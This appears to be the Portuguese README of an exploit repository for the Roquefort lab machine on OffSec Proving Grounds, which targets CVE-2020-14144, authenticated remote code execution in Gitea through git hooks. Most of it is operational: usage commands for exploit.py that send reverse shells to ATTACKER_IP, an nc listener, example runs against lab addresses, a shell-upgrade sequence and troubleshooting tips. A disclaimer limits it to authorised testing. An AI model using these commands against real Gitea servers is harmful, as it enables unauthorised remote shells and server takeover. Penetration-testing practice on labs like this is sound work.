
As versões 1.1.0 → 1.12.5 do Gitea permitem que utilizadores autenticados com permissão "Pode criar hooks git" injetem comandos arbitrários de shell em hooks pós-recebimento. Ao fazer push de um commit, o hook é acionado e o payload é executado no servidor.
Prática OffsecProvingGrounds — Writeup e POC da Máquina Roquefort
| Item | Detalhe |
|---|---|
| Máquina | Roquefort (Prática Proving Grounds) |
| SO | Linux |
| Versão do Gitea | 1.7.5 |
| CVE | CVE-2020-14144 |
| Vetor | RCE Autenticado via Git Hooks |
| Shell do Usuário | chloe |
As versões do Gitea 1.1.0 → 1.12.5 permitem que usuários autenticados com permissão "Pode criar hooks git" injetem comandos arbitrários de shell nos hooks post-receive. Enviar um commit aciona o hook e executa o payload no servidor.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
Veja MANUAL.md para o guia de exploração passo a passo.
.
├── README.md # Este arquivo
├── MANUAL.md # Guia de exploração manual (Linux + Windows)
└── exploit.py # Script de exploração automatizado
requests (pip install requests)git instalado na máquina do atacanteusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Inicie o listener
nc -lvnp 4444
# 2) Execute o exploit (alvo Linux)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Execute o exploit (alvo Windows)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Arquivo de payload personalizado
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
Após obter a reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
Esta ferramenta é destinada apenas a testes de penetração autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.
| Problema | Solução |
|---|
fatal: dubious ownership | Clone a partir de ~ em vez de pastas compartilhadas, ou execute git config --global --add safe.directory '*' |
| Nenhuma conexão recebida | Verifique o IP do atacante, confira o firewall, confirme que ambas as máquinas estão na mesma sub-rede |
| Hook dispara mas sem shell | Teste primeiro com o payload touch /tmp/pwned — se o arquivo aparecer, a reverse shell está sendo bloqueada |
| Permissão negada nos hooks | O usuário não tem permissões de hook — precisa de privilégio de admin ou "Pode criar hooks git" |
| Conflito de porta na 3000 | O Gitea usa a 3000 — use uma porta diferente, como 4444, para seu listener |